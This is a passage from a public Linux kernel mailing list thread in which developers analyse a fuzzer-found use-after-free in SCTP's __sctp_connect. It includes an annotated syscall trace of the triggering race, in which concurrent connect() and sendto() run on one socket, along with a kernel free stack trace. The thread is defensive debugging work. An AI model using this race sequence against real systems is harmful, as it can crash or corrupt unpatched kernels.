sin_port=htons(13273), sin_addr=inet_addr("127.0.0.1")}, 128 <unfinished ...> - connect to IPv4. This connect should timeout, as we can't find a route between ipv4/ipv6. - no packet is sent due to this 2511 14:55:10 <... sendfile resumed> ) = -1 ESPIPE (Illegal seek) <0.000146> 2511 14:55:10 rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0 <0.000066> 2511 14:55:10 rt_sigaction(SIGCHLD, NULL, {SIG_DFL, [], 0}, 8) = 0 <0.000065> 2511 14:55:10 rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0 <0.000067> 2511 14:55:10 nanosleep({4, 0}, 0x7ffffd73eee0) = 0 <4.000258> - added a sleep(4) to make this more evident 2511 14:55:14 sendto(3, "\0\0\0\0\0\0\0\1\335\1\370\375\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., 112, 0, {sa_family=AF_INET6, sin6_port=htons(13276), inet_pton(AF_INET6, "::1", &sin6_addr), sin6_flowinfo=3512421652, sin6_scope_id=4260889053}, 128) = 112 <0.001601> - sendto() to an IPv6 addr while connect() is still running. - socket is not in established state. - assoc is not a peeled off, as we can't find a transport using this tuple - so this new assoc ends up being allowed under a tcp-style socket - nobody is listening on 13276. An ABORT is sent back 2512 14:55:14 <... connect resumed> ) = -1 ECONNREFUSED (Connection refused) <4.003595> - And suddenly the connect() is confused and thinks the error was for it, exact after sendto() auto-association noticed the error. - Funny thing is, as sendto() thinks it succeeded, as connect() already consumed the error via sctp_error(). If the program was ending and if the threads awakening were the other way around, e.g. if connect() had started a bit after sendto(), connect() probably would have thought it succeeded, and referenced the freed memory. I'm thinking we should add a function to better identify busy sockets such as this. Like in __sctp_connect(), issuing connect()s in parallel will also fool current checks. Thoughts? Marcelo ^ permalink raw reply [flat|nested] 17+ messages in thread
* Re: net/sctp: use-after-free in __sctp_connect 2016-01-21 17:18 ` Marcelo Ricardo Leitner @ 2016-01-21 17:37 ` Marcelo Ricardo Leitner 0 siblings, 0 replies; 17+ messages in thread From: Marcelo Ricardo Leitner @ 2016-01-21 17:37 UTC (permalink / raw) To: Vlad Yasevich Cc: Dmitry Vyukov, Neil Horman, David S. Miller, linux-sctp, netdev, LKML, Eric Dumazet, syzkaller, Kostya Serebryany, Alexander Potapenko, Sasha Levin On Thu, Jan 21, 2016 at 03:18:18PM -0200, Marcelo Ricardo Leitner wrote: > On Tue, Jan 19, 2016 at 09:38:54AM -0500, Vlad Yasevich wrote: > > On 01/15/2016 02:01 PM, Marcelo Ricardo Leitner wrote: > > > On Wed, Jan 13, 2016 at 10:52:31AM +0100, Dmitry Vyukov wrote: > > >> Hello, > > >> > > >> The following program causes use-after-free in __sctp_connect: > > >> > > > ... > > >> INFO: Freed in sctp_association_put+0x150/0x250 age=0 cpu=3 pid=15267 > > >> [< none >] __slab_free+0x1fc/0x320 mm/slub.c:2678 > > >> [< inline >] slab_free mm/slub.c:2833 > > >> [< none >] kfree+0x2a8/0x2d0 mm/slub.c:3662 > > >> [< inline >] sctp_association_destroy net/sctp/associola.c:424 > > >> [< none >] sctp_association_put+0x150/0x250 net/sctp/associola.c:860 > > >> [< none >] sctp_wait_for_connect+0x37c/0x4f0 net/sctp/socket.c:7067 > > > ^^^^^^^^^^^^^^ > > >> [< none >] __sctp_connect+0x905/0xb90 net/sctp/socket.c:1215 > > >> [< none >] __sctp_setsockopt_connectx+0x198/0x1d0 > > >> net/sctp/socket.c:1328 > > >> [< inline >] sctp_setsockopt_connectx net/sctp/socket.c:1360 > > >> [< none >] sctp_setsockopt+0x226/0x3630 net/sctp/socket.c:3728 > > >> [< none >] sock_common_setsockopt+0x95/0xd0 net/core/sock.c:2642 > > >> [< inline >] SYSC_setsockopt net/socket.c:1752 > > >> [< none >] SyS_setsockopt+0x158/0x240 net/socket.c:1731 > > >> [< none >] entry_SYSCALL_64_fastpath+0x16/0x7a > > >> arch/x86/entry/entry_64.S:185 > > > > > > This one may sher some light on that other socket leak one, because the > > > association shouldn't have been freed at that point. > > > Now, how it managed to unbalance that refcnt, hmm... > > > > > > > The free may be a result of implicit close when the program ends. If the thread > > is still waiting for connect to finish when the program ends, we may end up > > in a situation when the association has been freed, but the ref held by wait_for_connect > > prevents the destruction. When wait_for_connect finishes in puts the ref and > > causes the destruction. > > That could be it, yes. > > > What I am guessing is happing is the wait_for_connect doesn't catch the error condition > > correctly and thus __sctp_connect() doesn't think there was and error and references > > the assoc which was just destroyed. > > Perfect. There is another thing that this program exploits that, in this > case, leads to this. It's creating a tcp-style socket, calling connect() > on it in one thread and sendto() to a different peer in the main thread > probably while the connect is still in progress. Seems that can lead to > one having two assocs on a tcp-style socket, because we don't check if > we the socket has associations but if it's in established state. I don't > see the checks on sctp_sendmsg() protecting from this case. > > 2511 14:55:10 socket(PF_INET6, SOCK_STREAM, IPPROTO_SCTP) = 3 > <0.000366> > 2511 14:55:10 mmap(0x20000000, 65536, PROT_READ|PROT_WRITE, > MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x20000000 <0.000082> > 2511 14:55:10 bind(3, {sa_family=AF_INET6, sin6_port=htons(13280), > inet_pton(AF_INET6, "::1", &sin6_addr), sin6_flowinfo=1882116169, > sin6_scope_id=3305060172}, 28) = 0 <0.000119> > - bound to IPv6 > > 2511 14:55:10 mmap(NULL, 8392704, PROT_READ|PROT_WRITE, > MAP_PRIVATE|MAP_ANONYMOUS|MAP_STACK, -1, 0) = 0x7f52f9e75000 <0.000084> > 2511 14:55:10 brk(0) = 0x1cf8000 <0.000065> > 2511 14:55:10 brk(0x1d19000) = 0x1d19000 <0.000079> > 2511 14:55:10 brk(0) = 0x1d19000 <0.000064> > 2511 14:55:10 mprotect(0x7f52f9e75000, 4096, PROT_NONE) = 0 <0.000091> > 2511 14:55:10 clone(child_stack=0x7f52fa674ff0, > flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE_SETTLS|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID, > parent_tidptr=0x7f52fa6759d0, tls=0x7f52fa675700, > child_tidptr=0x7f52fa6759d0) = 2512 <0.000211> > 2511 14:55:10 setsockopt(3, SOL_SOCKET, SO_LINGER, {onoff=6, linger=0}, > 8 <unfinished ...> > 2512 14:55:10 set_robust_list(0x7f52fa6759e0, 24 <unfinished ...> > 2511 14:55:10 <... setsockopt resumed> ) = 0 <0.000135> > 2512 14:55:10 <... set_robust_list resumed> ) = 0 <0.000133> > 2511 14:55:10 sendfile(3, 3, [0], 192 <unfinished ...> > 2512 14:55:10 connect(3, {sa_family=AF_INET, sin_port=htons(13273), > sin_addr=inet_addr("127.0.0.1")}, 128 <unfinished ...> > - connect to IPv4. This connect should timeout, as we can't find a > route between ipv4/ipv6. > - no packet is sent due to this > > 2511 14:55:10 <... sendfile resumed> ) = -1 ESPIPE (Illegal seek) > <0.000146> > 2511 14:55:10 rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0 <0.000066> > 2511 14:55:10 rt_sigaction(SIGCHLD, NULL, {SIG_DFL, [], 0}, 8) = 0 > <0.000065> > 2511 14:55:10 rt_sigprocmask(SIG_SETMASK, [], NULL, 8) = 0 <0.000067> > 2511 14:55:10 nanosleep({4, 0}, 0x7ffffd73eee0) = 0 <4.000258> > - added a sleep(4) to make this more evident > > 2511 14:55:14 sendto(3, > "\0\0\0\0\0\0\0\1\335\1\370\375\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"..., > 112, 0, {sa_family=AF_INET6, sin6_port=htons(13276), inet_pton(AF_INET6, > "::1", &sin6_addr), sin6_flowinfo=3512421652, sin6_scope_id=4260889053}, > 128) = 112 <0.001601> > - sendto() to an IPv6 addr while connect() is still running. > - socket is not in established state. > - assoc is not a peeled off, as we can't find a transport using this > tuple > - so this new assoc ends up being allowed under a tcp-style socket > - nobody is listening on 13276. An ABORT is sent back > > 2512 14:55:14 <... connect resumed> ) = -1 ECONNREFUSED (Connection > refused) <4.003595> > - And suddenly the connect() is confused and thinks the error was for > it, exact after sendto() auto-association noticed the error. > - Funny thing is, as sendto() thinks it succeeded, as connect() already > consumed the error via sctp_error(). > > If the program was ending and if the threads awakening were the other > way around, e.g. if connect() had started a bit after sendto(), > connect() probably would have thought it succeeded, and referenced the > freed memory. Hmm connect() doesn't have to start after sendto(), no, as they are waiting on different wq. Seems it has to wake the connect thread via sctp_write_space() or sctp_wake_up_waiters(), via sctp_wfree(), which is set as destructor upon sctp_sendmsg(). So when that chunk is freed, the connect() returns, seems to make sense to me. > I'm thinking we should add a function to better identify busy sockets > such as this. Like in __sctp_connect(), issuing connect()s in parallel > will also fool current checks. Thoughts? > > Marcelo > > -- > To unsubscribe from this list: send the line "unsubscribe linux-sctp" in > the body of a message to majordomo@vger.kernel.org > More majordomo info at http://vger.kernel.org/majordomo-info.html > ^ permalink raw reply [flat|nested] 17+ messages in thread
end of thread, other threads:[~2016-11-04 13:03 UTC | newest] Thread overview: 17+ messages (download: mbox.gz / follow: Atom feed) -- links below jump to the message on this page -- 2016-10-19 12:25 net/sctp: use-after-free in __sctp_connect Andrey Konovalov 2016-10-19 16:57 ` Marcelo Ricardo Leitner 2016-11-02 22:42 ` Andrey Konovalov 2016-11-03 17:11 ` Andrey Konovalov 2016-11-03 17:52 ` Marcelo Ricardo Leitner 2016-11-03 18:02 ` Andrey Konovalov 2016-11-03 18:35 ` Marcelo Ricardo Leitner 2016-11-03 18:45 ` Andrey Konovalov 2016-11-04 12:59 ` Neil Horman 2016-11-04 13:03 ` Marcelo Ricardo Leitner -- strict thread matches above, loose matches on Subject: below -- 2016-01-13 9:52 Dmitry Vyukov 2016-01-14 1:37 ` YUAN Jia 2016-01-14 1:45 ` Marcelo Ricardo Leitner 2016-01-15 19:01 ` Marcelo Ricardo Leitner 2016-01-19 14:38 ` Vlad Yasevich 2016-01-21 17:18 ` Marcelo Ricardo Leitner 2016-01-21 17:37 ` Marcelo Ricardo Leitner
This is a public inbox, see mirroring instructions for how to clone and mirror all data and code used for this inbox; as well as URLs for NNTP newsgroup(s).